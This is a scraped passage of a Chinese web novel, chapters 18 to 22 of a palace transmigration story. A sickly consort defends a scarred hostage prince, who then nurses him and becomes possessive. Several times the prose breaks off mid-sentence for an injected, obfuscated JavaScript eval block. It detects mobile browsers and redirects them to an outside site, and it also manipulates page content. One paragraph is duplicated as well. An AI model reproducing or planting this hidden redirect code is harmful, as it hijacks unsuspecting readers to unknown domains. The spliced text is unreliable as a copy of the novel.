在世人眼中,脸毁破相又被送到异国为质的容冽,根本就没有翻身的可能,何况他生母在邺国还有另一个面容姣好,且备受邺国国君喜爱的儿子,这种情况下,就更没必要将容冽这个哥哥接回邺国了。 容冽在邺国过的是好是苦,是生是死,早已无人在意了,包括他的血脉相连的至亲们。 这样一个无足轻重的异国质子,正适合用来给虞贵妃作筏子,警示旁人、梁初景和五皇子:以后少说不该说的话,少做不能做的事,更要少惹她虞贵妃。 梁初景若在此时沉默,那容冽必定会记恨上他,两人再无交好的可能。 但若要护住容冽……梁初景不确定,虞贵妃会不会拿其他人来要挟他,逼他妥协让步——就像上辈子曲月翎用窈娘威胁他一样。 梁初景心中犹豫不定,皱着眉头看了容冽一眼。 他方才被虞贵妃点名要罚,此刻脸上却不见一丝慌乱,眼眸幽暗冷邃,面无表情的样子瞧着甚至有些阴鸷森然,然而他双瞳目不转睛,死死盯住的人,不是虞贵妃,而是曲月翎。 梁初景刚循着容冽的视线,也望向曲月翎,就见脸色苍白,唇色也分外浅淡,只有雪腮边遗留着几道薄红指痕绿瞳青年勾起了唇角,像是听到什么笑话似的反问:“什么叫‘搬弄是非’?” “把你儿子做过的事复述一遍,就叫‘搬弄是非’了吗?” ——他浑身上下都透着浓浓病气,嗓音低哑轻弱,发不出太高的声量,可他口吻中听不出丝毫犹豫,仿佛保护容冽这件事就是他的本能,听到便下意识这么说了。 “虞贵妃,你也少说两句冠冕堂皇的话吧。” “容冽是什么很贱的人吗?”曲月翎指着容冽,忿忿不平道,“你和你儿子就只会可劲盯着他欺负是吧?” 容冽:“……” 梁初景:“……” ……这应该是袒护容冽的话吧?但听着怎么就那么奇怪呢? 不过曲月翎随后又将指尖收了回来,指指自己:“你想罚人泄恨,杀鸡儆猴就直说,不用这样拐弯抹角的。你大可罚我、罚那被你收买,而将我宫中消息告之于你的背主奴才。” “但你最该罚的——” 最后,青年指尖如剑,以凛冽之势刃指二皇子:“是你那整天倚强凌弱,仗势欺人的好儿子!” “梁初锋上不敬老,下不爱幼,你不罚他,要罚容冽?” “你凭什么罚他?” “你也配罚他?!” 三句掷地有声的诘问说完,曲月翎便抚着胸口闷咳起来,脸颊因窒息和愤怒而浮起一层艳红。 “……公子!您的身体动不得怒啊。” 他的宫人谭乐见状,赶紧想上前扶他,却慢了一步——容冽比他更快搀住了曲月翎的身体。 可曲月翎觉得容冽有点矮,不方便他倚靠,便脑袋歪向和自己差不多高的谭乐,斜靠着谭乐肩头,再安抚般地拍拍容冽的肩。 梁初景注意到,容冽在曲月翎出声为他撑腰时微弯的唇线抿平了。 而虞贵妃看着曲月翎和容冽,突然低头笑起来,双肩扑簌簌地抖着,再次抬头时,她也三问曲月翎:“你是觉得我不配吗?” “你又凭什么觉得我不配?” “曲月翎,你算个什么东西?” “别以为有个死人姐姐护着,我就不敢动你。”她走到曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他喘息微弱,倚着容冽的胸膛,隐约听到一道威严的女声从不远处传来:“虞贵妃,你疯够了吗?” ——那是皇后的声音。 男主梁初景是没动静,但在紧急关头,发现三皇子一直没回来的女主窈娘察觉到不对,紧忙去求见了皇后。 因为皇后是这后宫之中,除皇帝以外最能治住虞贵妃的人,甚至有时候比起皇帝,虞贵妃会更听皇后的话。 所以皇后语气平静,却充满威严的质问一出,虞贵妃的宫人们就马上停步,不敢再轻举妄动,就连虞贵妃本人都下了御辇,给皇后行礼。 只是皇后没让她起身,继续徐声道:“疯够了就滚回你的扶荔殿思过,没我懿旨,不得外出。” 虞贵妃猛地抬头:“皇后娘——” 皇后打断她:“你有异议,就让陛下来和我说。” 虞贵妃沉默须臾,咬着牙道:“臣妾没有异议。” 皇后冷嗤一声摆摆手:“那就滚。” 19.第 19 章 曲月翎本来都要晕过去了,听到这句话,他又硬是把眼睛睁开了,想亲眼看虞贵妃是怎么滚的,结果却看到了更爽的一幕—— 因为虞贵妃没有异议,二皇子却有异议。 他想不通自己在后宫中风头一时无两的母妃,为何每每到了皇后跟前,气势就会弱上三分,连声线都不敢扬高半点,可在私底下里,她对皇后的态度又不是这般。 二皇子耳濡目染,对皇后压根没有太多敬重之意,平时里还嚣张惯了,当即就不满地瞪向了皇后。 然而知子莫若母,虞贵妃约莫很清楚自己的儿子是个什么德性,不等二皇子开口顶撞皇后,她就扬手重重给了二皇子一个清脆响亮的耳光。 二皇子都被打蒙了,捂着脸好半天才回过神来,颤着声问虞贵妃:“……母妃?” 虞贵妃刚要开口,皇后的凤目便瞥了过去,睨着他们母子俩居高临下道:“二殿下都多大的人了,性子还是这般毛毛躁躁的,也不知是像了谁。虞贵妃,你真得好好管管他了。” “……臣妾谨遵皇后娘娘教诲。” 曲月翎听着虞贵妃低声下气的服软话语,备感悦耳动听,终于肯松下那口吊着的气,放心晕过去。 不过晕之前,他又在想一件事:自己是不是认错了男主啊? 怎么他感觉雍容华贵的皇后娘娘都比男主梁初景要更有魄力呢? 而这一晕,曲月翎不知道自己晕了多久。 总之等他睁眼醒来时,头顶又是那片熟悉的绿了。 “宿主,你醒啦?”系统摇着狗尾巴扑到床边,“你现在感觉怎么样?” “要命了……” 曲月翎摸着自己几乎要饿凹陷下去的小腹,虚弱道:“我感觉我快把自己消化没了……” “那不至于,你也就三天没吃饭而已。”系统告诉他,“再说了,我们这种顶级牛马,剧情只要没走完,饿上一个月都饿不死呢。” “……” 曲月翎瞪狗。 可惜青年眼珠漂亮得就像一抹融化的绿翡,毫无威慑力可言,系统最多把高马尾变成低马尾意思意思一下,不会像与容冽对视那样被吓成光头狗。 并且系统随后又道:“你这三天也不是完全什么都没吃,容冽天天一下课就来照顾你呢,给你喂药喂米粥,孝得令人心疼,也许你大冬天的说想吃鲤鱼,他都能马上脱.光衣服去卧冰给你钓鱼吃。” “他和你一样,都是好宝。”曲月翎欣慰极了,“不枉我说出那么尴尬的台词去护着他。” “是的。”系统说,“皇帝听说这事后,已经免了之前对他的惩罚。” 曲月翎起床坐在圆桌旁,一边吃着宫人们端上来补身的药膳,一边继续问系统:“那虞贵妃和二皇子呢?真被禁足了吗?” “真的不能再真了,连皇帝去帮虞贵妃求情了都没用。”系统对此事也感到十分惊讶,“皇后说,要等虞贵妃把二皇子教得识礼数了,才会解除对她的禁足令,所以二皇子这两天都很老实。” 虞贵妃的父亲是卫祁的镇国元帅,兄长是戍边大将,说一句权势滔天也不为过,而小宛之所以会和卫祁和亲,就是因为上一任国君死后,继承小宛皇位的是曲月珠与曲月翎那昏聩无能的皇长兄——曲月隼。 曲月隼本事没有,野心却不小,一继位就对周边小国发动战争,妄图成为一代始皇,结果穷兵黩武耗空了国库。 打到卫祁时,还被虞家父子敲得满头是包,接连败退,最后不得不以联姻求和。 因着这段历程,虞贵妃自始至终没把曲月翎放在眼里过,但她不是针对曲月翎,她是谁都看不起,仗着家族势力目空一切。 幸好虞家满门英烈,就出了她一个奇葩,虞氏父子则对皇帝忠心耿耿,从不居功自傲,而梁怀徽在治国方面虽然没有建树,却也不是昏君,他对虞氏父子很是信任,平日又会认真听取文官大臣们的建议,也很敬重他太傅的女儿,即出身文官世家的皇后,所以前朝后宫基本都很安宁,没出过太大的乱子。 当然,曲月翎认为梁怀徽的后宫能平静,最关键的还是皇后能治住虞贵妃。 “牛啊,不愧是皇后娘娘,这手段就是了得。”他佩服道,“虞贵妃是不是有什么把柄在她手上啊?怎么见了皇后就跟见了主人一样听话呢?” 系统得到指令,竖起前肢给曲月翎敬礼:“等我再在宫里游荡偷听几日,看能不能得到什么线索。” “好狗宝,好狗宝。”曲月翎弯腰把系统抱进怀里抚摸狗头。 谁知刚顺了两把毛,屋外又传来一阵令曲月翎头皮发麻的熟悉呼唤:“弟弟~越妃弟弟——” 曲月翎手一滑,不小心揪掉了系统的几根狗毛。 一人一狗都竖起了耳朵,曲月翎愕然问:“我昏迷这几天里,丽妃又被老登解除禁足了吗?” “没有啊。”系统也很纳闷,“这几天都没听说丽妃那边有什么新消息,倒是你一直昏着,宫里都在说你要死了。” 曲月翎:“……” 曲月翎:“我现在回床上装作没醒还来得及吗?” ——明显是来不及了。 “好弟弟,你可算醒了!”丽妃兴高采烈冲进屋内,坐到曲月翎身边,眼睛却四处搜寻着青年的手在哪,见青年在摸狗,她也把手伸过去,和曲月翎一起摸系统,“我担心你熬不过去,要死了呢。” 曲月翎:“……苗姐姐,我命还是比较硬的。” 丽妃瞅着几日不见,又清减许多,仿佛随时都能化作一缕轻烟,飘回天上瑶台去的病骨支离青年,直言不讳道:“看不出来。” 曲月翎:“……” “你的手腕都瘦快比我细了,感觉一折就断。”丽妃图穷匕见,手掌顺着系统油光水滑的狗毛往下,溜到曲月翎腕间更加细滑的雪白皮.肉上,“但你别担心,姐姐家里是做药材生意的。” 说完,丽妃就拍拍手掌,让自己的宫人把几个大箱子抬上来,里面全是人参、灵芝等昂贵药材,说是送给曲月翎补身体的礼物。 吃人嘴软,拿人手短,丽妃迄今为止没对自己干过什么坏事,就爱摸点小手,曲月翎又挣脱不开,便暂时随她去了,只好奇道:“苗姐姐可以出宫了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703902|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不可以,我还在禁足中呢。”丽妃实话实说,“不过这无所谓,大不了再被梁怀徽多禁足一段时间呗。” “而且我主要是担忧弟弟你啊。” “你的脉象弦细无力,艰涩不畅。”丽妃入宫为妃前跟随家中长辈看管药店,也会些医术,她圈着曲月翎的手腕把了会儿脉后,神情凝重道,“这种病瘀血阻滞心脉,最忌动怒伤神,如不精心调养着,恐有损寿数。” “容冽一个邺国质子,他不可能永远待在卫祁,等他再长大些,说不定就要回邺国去了,而你却要在这深宫里待一辈子,所以那日……” 丽妃顿了顿话音,语重心长劝曲月翎道:“你其实犯不着为了他开罪虞贵妃,这不值得。” 丽妃这番话不偏不倚,客观中肯,她应该是当真喜欢曲月翎,希望他能在后宫里过得好些才如此开诚布公。 如果那日在场的人不是曲月翎,而是原主,那么他也一定会选择袖手旁观,明哲保身——只要是个不傻,都会这么做。 可曲月翎却做不到。 如果那日在场的人不是曲月翎,而是原主,那他一定会选择袖手旁观,明哲保身。 可曲月翎做不到。 他知道被霸凌、被无视是种怎样的感受,因为他曾经经历过。 他也知道知道被人施以援手,护在身后庇佑时有多幸福,因为他被人这么保护过。 于是曲月翎告诉丽妃:“没什么值不值得的,即使不值得,我也愿意为他这么做。” “况且我这身体再怎么调养,也不可能彻底变好。”曲月翎眉眼微弯,柔声笑道,“或许还没等到容冽回邺国,我就……” “呸呸呸!别胡说!”丽妃赶紧打断曲月翎说不吉利的话,“好弟弟,我刚刚话没说完呢,你虽然看着命不硬,但实际上却硬得不得了啊。” “你知道吗?我入宫这么久了,除了皇后娘娘,我就再也没见过谁有胆子敢那样骂虞贵妃了。” “你是第一个。”丽妃用闲着的那只手给曲月翎比了个大拇指,“弟弟有种,姐姐佩服!” 曲月翎觉得敢无视皇帝禁足之令跑出宫殿,又敢去扇虞贵妃儿子耳光的丽妃没比自己差到哪去,就也夸她:“……苗姐姐你也很有种。” “哎呀,我只是打了梁初锋那兔崽子几巴掌罢了,没正面招惹过虞贵妃。”丽妃压低声音,给曲月翎抛出一个八卦,“弟弟你有所不知,虞贵妃其实也不怎么喜欢她这个儿子,我之前有次在御花园里瞧见虞贵妃打梁初锋,下手比我狠多了,起因仅仅是他把虞贵妃在御花园中最喜欢一枝花给掐断了。” “还有这种事?”曲月翎为了听清丽妃的话,身体朝丽妃那边倾了倾。 “是啊,我就纳闷了,区区一枝花,能比亲儿子还珍贵吗?”丽妃说,“梁初锋那时才八九岁吧,牙齿都被她打掉了一颗,我觉得他可怜,还让初睿去安慰了躲在假山后哭的他呢,结果这兔崽子越长大越不是东西,和他亲娘越来越像……” “阿翎哥哥。” 少年变声期特有的嘶哑嗓音在门口响起,中断了曲月翎和丽妃的交谈。 20.第 20 章 曲月翎转头望去,看见容冽站在门旁,眉眼冷峻,黑眸邃深,因逆光而站,身上那股淡漠疏离的气质被照得纤毫毕现,加上眼底有着一片不浅的暗青阴影,便恍似白日现身的厉鬼,把曲月翎吓了一大跳。 他蓦地抽出被丽妃握着右手拍了拍胸口,心有余悸道:“……冽儿?” “是我,哥哥。”容冽弯起唇角,端着一碗刚煎好的药走进屋中,在曲月翎另一旁的空椅上落座,轻声问,“我吓到哥哥了吗?” 曲月翎还没回话,丽妃就先同样拍着心口出声了:“容殿下走路没动静,是怪吓人的。” 容冽垂眸用调羹搅着药汁,长睫敛去了眼底所有情绪,只能听出他语调平静:“可现在青天白日的,我也不是什么游魂恶鬼,丽妃娘娘和哥哥也应当没在做什么亏心事,怎么会被我吓到呢?” 丽妃坚持:“因为你走路没声。” “是我不好。”容冽这次不辩解了,一味地认下所有错,“哥哥和丽妃娘娘聊得那样高兴,我本不该来打扰,可哥哥的药再放就要凉了。” “我只是担心哥哥,并非有意要吓哥哥的……”容冽抬起头,仰视着曲月翎,嗓音轻得如夜里悄然飘落的一片叶,“哥哥可以原谅我我吗?” 曲月翎张唇:“可……” “不原谅也没关系,但是哥哥一定要先把药喝了。”容冽舀起一勺药汁送到曲月翎嘴边,“我帮哥哥试过药了,不烫的。” 曲月翎只能先喝药。 容冽喂药频率拿捏得非常精准,既不会让曲月翎呛到,也不会给曲月翎说话的机会。 丽妃看着他喂了半晌,把曲月翎一张清艳的美人脸苦得面目扭曲后,忍不住问:“这样喝药多难受啊,你把碗给他一口气喝光不行吗?” “啪嗒——!” 容冽闻言手一松,调羹掉药碗里了,不过里面剩的药汁不多,所以没溅出来。 “……都怪我。”少年紧紧攥着药碗边沿,指骨压得发白,又一次认错道,“这几日哥哥一直昏睡着,我只能这样给哥哥喂药,一时没想起哥哥现在醒了,能自己喝药,不再需要我喂了。” 曲月翎方才与容冽对望时,发现少年眼眶赤红,眼底也满是血丝,眼下还泛着没休息好的青乌,再一回想系统说的,容冽这几天夙夜匪懈衣不解带照顾自己的事,心中便已盈满了对容冽的怜爱。 此刻见容冽垂目低首,像是在自责没能照顾好他的的模样,更是心软的不行,马上自己拿起调羹一口接一口喝起了药,维护容冽道:“没事没事,良药苦口利于病,而且我就喜欢这么喝药,一口灌的话我反而容易呛到……咳咳咳!” ——一勺勺喝药的曲月翎仍然呛到了。 丽妃想给他拍背,容冽却比她动作更快。 他甚至是整个人站起走到了曲月翎的背后,丽妃若还要为曲月翎拍背顺气,那她的手掌只会落到容冽身上,而碰不到曲月翎分毫。 丽妃挑了挑眉,收回手说:“好弟弟,喝药时还是别说话了。” 她见曲月翎咳得面颊泛红,气息凌乱,便起身道别:“喝完药也快回床上躺着休息吧,我改日……咳!等禁足解了再来看你。” “……咳咳!苗姐姐慢走……” 曲月翎身上发虚,走不了路,丽妃也不要他送,他便目送丽妃离开。 只是丽妃身影还未完全消失在栖月宫门口,曲月翎就感觉容冽俯下了身体,将下巴搭在他肩上,凑近他耳畔哑声问:“哥哥刚刚和丽妃在做什么?” 少年体热,呵出的气息也隐隐透着股灼炽的烫,如焰舌般舔过曲月翎的耳廓。 但容冽的五指却在话语间,仿佛阴冷黏腻的毒蛇,从背后绕到前方,覆住曲月翎刚好按在心脏上方的手背,继而缠紧他的腕骨:“我怎么看见……她这样抚摸着哥哥的手呢?” 莫名的,曲月翎的心脏在那一瞬加快了几分。 他觉得丽妃说的话不对——容冽不止是走路没声,他在很多时候,做许多事情都是无声无息的,好像脚下永远也甩不掉的黑影,在不知道什么时候就庞大到能笼罩住你整个人。 曲月翎如实道:“她在给我把脉呢。” “哦?”容冽笑了笑,又问,“那她把出什么结果了吗?” 曲月翎跟被审问的犯人似的,再交代:“她说我脉象弦细无力,艰涩不畅,病机为瘀血阻滞心脉,平时要静养,忌动怒伤神。” 容冽缄默几息,松开了曲月翎的手腕:“……这的确是太医记载的脉案。” 曲月翎也跟着松了口气,虽然他并不知道自己在紧张些什么。 他微微偏头,看向身后的容冽,问:“冽儿你这都知道?” “嗯,太医为哥哥诊脉时,我就在旁边。”容冽把脸埋进曲月翎颈侧,深深嗅着青年发丝间因缠绵病榻,苦涩之味更浓的药香气息,低喃道,“哥哥睡了好久……我还以为哥哥会死……” “那不会。”曲月翎别的不敢保证,只要系统没骗他,那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703903|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当上男太后之前,心疾发作得再厉害也不会有性命之忧。 容冽听完又沉默了片刻,再开口时,他声音变得更低了:“阿翎哥哥……我不会放过她的。” 即使曲月翎和他近在咫尺,也没听清少年的话语。 “冽儿,你说什么?” “我说……那些药很苦。” 容冽另一只手环着曲月翎的白颈,将一枚指盖大小的深绿果脯压到曲月翎唇上:“所以我给哥哥准备了罗汉果干。” “我问过太医了。”他稍一用劲,便撬开了曲月翎的齿关,将果脯塞进青年湿.暖的口中,“太医说这个清热润肺,利咽开音,哥哥可以吃。” 曲月翎不太喜欢罗汉果干的回甜,但这玩意确实能润喉,他含了一会儿就觉得咽峡处的干.痒缓解了不少,便夸赞容冽道:“是的,我觉着我的嗓音已经快变回从前的样子了。” 容冽等曲月翎吃掉了自己喂的果脯,就扶着青年躺回了床上。 彼时他正在为曲月翎盖被,闻言勾唇道:“是,阿翎哥哥的声音如玉鸣清越,比仙曲天乐都好听。” “你听过仙曲天乐吗?”曲月翎哑然失笑,“没听过还这么夸我?” “听过。”容冽说,“哥哥从前的声音就是仙曲天乐。” “最近的声音不是,对吧?唉……”曲月翎长叹一声,“没办法,这几日生病,我发出的声音就像你的嗓音一样嘶哑,简直快不能听了。” 容冽:“……” 容冽脸上的笑容滞住,神情僵硬得很明显。 然而曲月翎没有注意到,因为容冽这次给他盖被子盖的位置和之前那回一样,都太靠上了,使得他又产生了那种被掐住了脖颈的错觉。 等曲月翎自己将被子拨松调整好时,容冽也调整好了自己的表情,继续笑着问:“哥哥……我的声音很难听吗?” “我如果说好听,你肯定也不会信的。”曲月翎面露为难,“冽儿,还是别再问了吧?” 容冽:“…………” 容冽轻轻伏到他身上,贴着曲月翎的心口,听青年的心跳:“哥哥连骗骗我都不愿意。” 曲月翎像摸系统狗头那样,摸着容冽的头发说:“因为哥哥不会骗你。” “真的吗?”听到他这么说,容冽立刻用双臂撑着床面直起的上身,俯望着曲月翎的眼睛,一字一句认真道,“那哥哥之前在虞贵妃面前护着我,说愿意为我去死的那些话,也是真的,不是骗我的,对吗?” 21.第 21 章 曲月翎不假思索的,马上回答他道:“当然是假的了。” “……” 少年这下直接不笑了,将唇线抿平,眉宇间有着明显的失落神色。 别的人见了,可能会心生怜意,心软地哄他几句,讲几句比如“虽然是假的,但哥哥还是很爱你”之类的话。 但曲月翎偏不。 他给容冽仔细讲述自己的心路历程:“虞贵妃那些宫人,怎么可能真有胆子弄死我啊?我当时那样说,只是想吓退他们。但好像没什么效果,我感觉让双马尾朝他们龇牙狗叫两声可能都会比我更有用。” 曲月翎现在回想起自己的发言,只觉得丢人又尴尬。 “如果能重来,我一定不会再那么说了。”他告诉容冽,“我应该牵着你直接逃跑,去找虞贵妃的主人……不是,去找皇后娘娘。” “……所以哥哥不愿意为我去死。”容冽说着,语气更低落了,连眼睫都垂下下去,避开曲月翎的眼睛,不再与他对视。 曲月翎果断道:“是的。” 容冽听完却低低笑了起来:“阿翎哥哥还真是……不会对我说谎。” 曲月翎不解:“难道我用谎言欺骗你,你会高兴吗?” “会的。”容冽也告诉他,“因为我知道哥哥骗我,是不愿意让我伤心;不过哥哥实话实说,我也很高兴,因为哥哥对我没有秘密;无论哥哥对我说什么,我都会高兴。” 结果曲月翎再度说出残忍的真相:“不,冽儿,我有太多秘密是你不知道的,我也绝不可能告诉你。” “……” 容冽这一次,连无可奈何的表情都做不出了——他不高兴。 容冽趴回曲月翎身上,伏在青年心口处低声喃语:“……可我愿意为哥哥去死。” 其实曲月翎并不意外容冽会说出这句话,毕竟他救过容冽太多次,在容冽的生命里,自己可能是第一个、也是唯一一个对他这样好的人,容冽会对他产生强烈的雏鸟情节再正常不过。 他也毫不怀疑容冽这句话的真实性,即使容冽年纪还小,可这个年龄段的少年天真又认真,重情又重义,他们给你的诺言或许会在将来反悔,却绝不会在此刻变卦。 然而曲月翎还是倏地坐直了身体,低头望着因他姿势变动,骤然滑落至他腿面上少年:“真的吗?” 容冽以为青年听到自己这么说,会很欢喜,他便亢奋起来,无比真心道:“真的!” ——容冽也没有对曲月翎撒谎。 他是真的愿意为了曲月翎去死。 丽妃先前在屋里和曲月翎说的每一句话,他都听得一清二楚。 但人心易变,容冽不知道曲月翎以后还会不会对他这样好,可如果他能为曲月翎死去,死在曲月翎最在意他的时候,青年就会永远记住他,也永远喜欢他。 若不是为了瞒下自己刚刚在门外偷听的事,容冽会和曲月翎说:我能为你永不回邺国,终身待在你能见到我的地方;我还会寻来天下名医为你调养身体,让你长命百岁;倘使这世间有换心之法,能叫你从此病愈,不再受心疾之苦,我便愿意做那献心的第一人…… 容冽有太多衷心话想诉之于口,悉数说给曲月翎听,不过若真说了,就会暴露自己偷听之事。 因而千言万语,容冽最终将其汇成一句话:“我可以对哥哥立毒誓。” 容冽从不信神佛,他只相信自己哪怕违誓,也不会受到誓言中报应,不过如果这个毒誓是为曲月翎而立的,那他就会守誓——曲月翎是他心庙中,唯一祀奉的佛像。 谁知曲月翎听后却骂他:“你疯啦?” 容冽那霜总是幽如深潭,让人看不见起伏与渊底的黑眸之中,总算也浮起了一层流动的雾,容冽迷失在那片雾里,他隔着雾,看不清曲月翎,也看不懂他,便迷惘地望着青年问:“……哥哥?” 青年也反问他:“我救过你的命吗?” 问完曲月翎就飞速自答道:“没有。” “容冽。”他完整地叫出容冽的名字,郑重地对少年说,“你的命很珍贵,不要随便为谁去死。” 始终乖驯的容冽在这件事上,却分外偏执,他仰着脸,凝望着曲月翎,执拗道:“救过的,阿翎哥哥救过我好多次,阿翎哥哥也不是随便的‘谁’。” 曲月翎回望着容冽,在少年黑色的眼珠表面,看见了自己面容苍白的倒影,也看清了自己在容冽心中占据了怎样沉重的分量——容冽果真如他曾经期望的,被他救下的“男主”那样,让他能凌驾于自身之上。 可容冽不是男主。 容冽给他的,也不是他想要的。 这一刻,曲月翎在容冽身上看到了许多人的影子——有自己的,也有别人的。 所以曲月翎深深吸了一口气,又叹气,他俯身像之前护住容冽那样,抱住少年,将他的脑袋按在自己肩上,轻声道:“我‘救’你的那几回,严格来说,其实只是叫‘帮’,远不值得你用性命来回报我,因为即使没有我,也可能会有其他人……” “不会有的。”容冽打断曲月翎的话,安静地阐述事实,“除了哥哥,不会再有人来救我了。” 曲月翎温柔地抱着他,陪他安静了片刻,最后道:“你之前说过,不想要哥哥为你而死,而哥哥也是这样想的,我不想要你为我而死,我只想你好好活着。” “如果这是阿翎哥哥的心愿……” “那我会的。”容冽从曲月翎怀里抬起脑袋,凝着青年的绿眸说,“我会一步一步站到最高处,好好活着。” “好。”曲月翎双手捧住容冽的脸,笑着问,“冽儿眼睛好红,刚才是不是偷偷掉眼泪了?” 容冽也朝他笑笑:“没有,哥哥,我不会哭的。” 曲月翎不信,他自己刚才都很难受,有一瞬间的恍惚,他甚至下意识地去摸了手腕,想拉起皮筋弹自己一下,让疼痛刺.激自己清醒过来,却只摸到了冰冷的银镯。 幸好那抹寒意也能令曲月翎清醒,他想起自己死了,又穿书了。 于是他俯身抱住了容冽,既是安慰少年,也是为了转移自己的注意力。 现在听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709661|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见容冽否认,他便用指腹擦擦少年眼下,想确认那里有没有残余的泪痕,结果还真是一丁点湿润都没摸到,而他在碰到容冽右脸的下半截疤时,见少年有些不太自在地侧脸躲了躲,曲月翎便连忙抬手:“我弄疼你了吗?” “不痛。”容冽解释说,“有点痒。” 这话曲月翎就更不信了,因为容冽遭受的大多苦难,基本都来源于这道疤,容冽的身躯和肢体语言表现,也在证明他其实很在意这道疤。 思及此处,曲月翎心中陡然浮现出了一个念头,但此刻还不是开口的好时机。 他便放开容冽的脸庞,催促少年回藩客馆休息:“好吧,哥哥检查过了,冽儿确实没哭,那冽儿眼睛这么红,一定是这几日没休息好的缘故,天色也不早了……” 曲月翎才起了个头,容冽就能猜到他接下来的话,急切道:“我在这里也能休息好,如果回去了,看不到哥哥,心中担忧,我会更加睡不好!” 这几句曲月翎倒是信的,可信了他也不会纵容容冽留下,一锤定音道:“那就让太医给你开几副安神的药喝喝。” 容冽:“……” 瞧着少年眉心微皱,格外不情愿的模样,曲月翎只能挨近容冽,压低嗓音,拿出小时候父母逼他早睡的终极杀手锏,阴恻恻道:“不好好睡觉会长不高哦。” “……” 容冽闻言,身体霎时僵硬。 曲月翎此刻全部心神与目光都汇聚在他身上,自然没遗漏他的变化,曲月翎以为这招奏效了,就加大力度:“长不高的话,冽儿以后就娶不到漂亮妻子了。” 不料容冽毫不在意:“没关系,我从未想过要娶妻。” “不娶妻?”曲月翎登时警觉,“冽儿,你也是断袖吗?” 实际上,容冽根本就没想过这些事,他不觉得自己会与另一个人相爱相守,不管那人是男是女,便否认:“不是。” 许是觉得这样大概没什么说服力,容冽又垂下眼睫,侧首望向一旁佯装落寞,想以此哄骗曲月翎为自己心软:“我这幅模样……不会有人想嫁给我的。” 果然,此话一出,青年就被他骗住了。 “怎么会呢?”曲月翎重新捧住他的脸,蹙眉满眼怜爱道,“冽儿鼻子是鼻子,嘴巴是嘴巴,长得很……像人啊。” “……”容冽听完只是笑,并不言语。 曲月翎总觉得他唇角勾起的弧度很生硬,很勉强,似乎是在苦笑,便拿自己作比,据理力争道:“哪怕是哥哥这样颇有几分姿色的人,见了冽儿,也会忍不住心生喜爱呢。” ——父爱也是爱。 曲月翎坚定地认为自己没对容冽撒谎。 而甜言蜜语谁都爱听,少年听了他哄人的话,眸光微微闪动,语气之中也有不敢相信的喜悦和惊讶:“阿翎哥哥真不觉得我这疤难看,很喜爱我吗?” “真不难看,哥哥对天发誓——”曲月翎为了彻底哄他开心,学着梁怀徽咬咬牙,狠狠心,豁出去道,“若我为女子,要觅夫婿,必定只找冽儿这样英武俊朗的男子。” 22.第 22 章 反正他又不可能变成女人,容冽如今正是心思敏.感脆弱的年纪,不把他自卑的心结解开了,会误他一生。 曲月翎连真实的男妈妈都准备当了,还怕再当一个虚构的男妻子吗? 他肯定是不怕的。 曲月翎只心疼容冽年纪轻轻,便如此阴郁消沉,心无生志,轻而易举被自己用几次举手之劳的帮助,骗到了全部信任,甚至愿意为他付出生命。 也幸好容冽不是男主,否则自己若是坏反派大恶人,那容冽还不得被他玩弄于鼓掌之中,耍得团团转啊? 曲月翎在心底感慨过后,又将指腹移到容冽右脸的那道疤上,从额头的起始处往下,抚过眼皮,停在颧骨,最后摩挲着少年的面颊轻声说:“世人常执着于外在的相,可书中有经文道:若以色见我,以音声求我,是人行邪道,不能见如来……若见诸相非相,则见如来。” “不爱你的人,不会因为你没有这道疤而爱上你;爱你的人,也不会因为你有这道疤而不爱你。容冽——” 青年唇角弯了弯,翠翎绿翡般的眼眸随着这一笑,绽开迷离的万千光彩,容冽掉进那如梦如幻的旖旎艳.色之中,却听见他唤着自己的名字,对自己说:“你就当这道疤,是一柄能帮你破除虚妄,斩碎泡影的剑吧。往后你每次睁开眼,就会通过它看到真正爱你的人。” “阿翎哥哥……” 容冽也唤着他的名字,猛地扑进青年怀中,宛如抱住海中唯一的救命浮木,死死箍着曲月翎的腰肢。 他无法形容和描述自己此刻心中感受,容冽觉得自己才是那个有心疾的人,他的心脏在肋骨下急促地跃动着,恨不得跃进曲月翎的胸膛里,从此只为青年而跳。 “哥哥,你爱我……你爱我……” 容冽笃信曲月翎的每一句话,所以他不断重复着这句话,这句曲月翎告诉他的至真箴言。 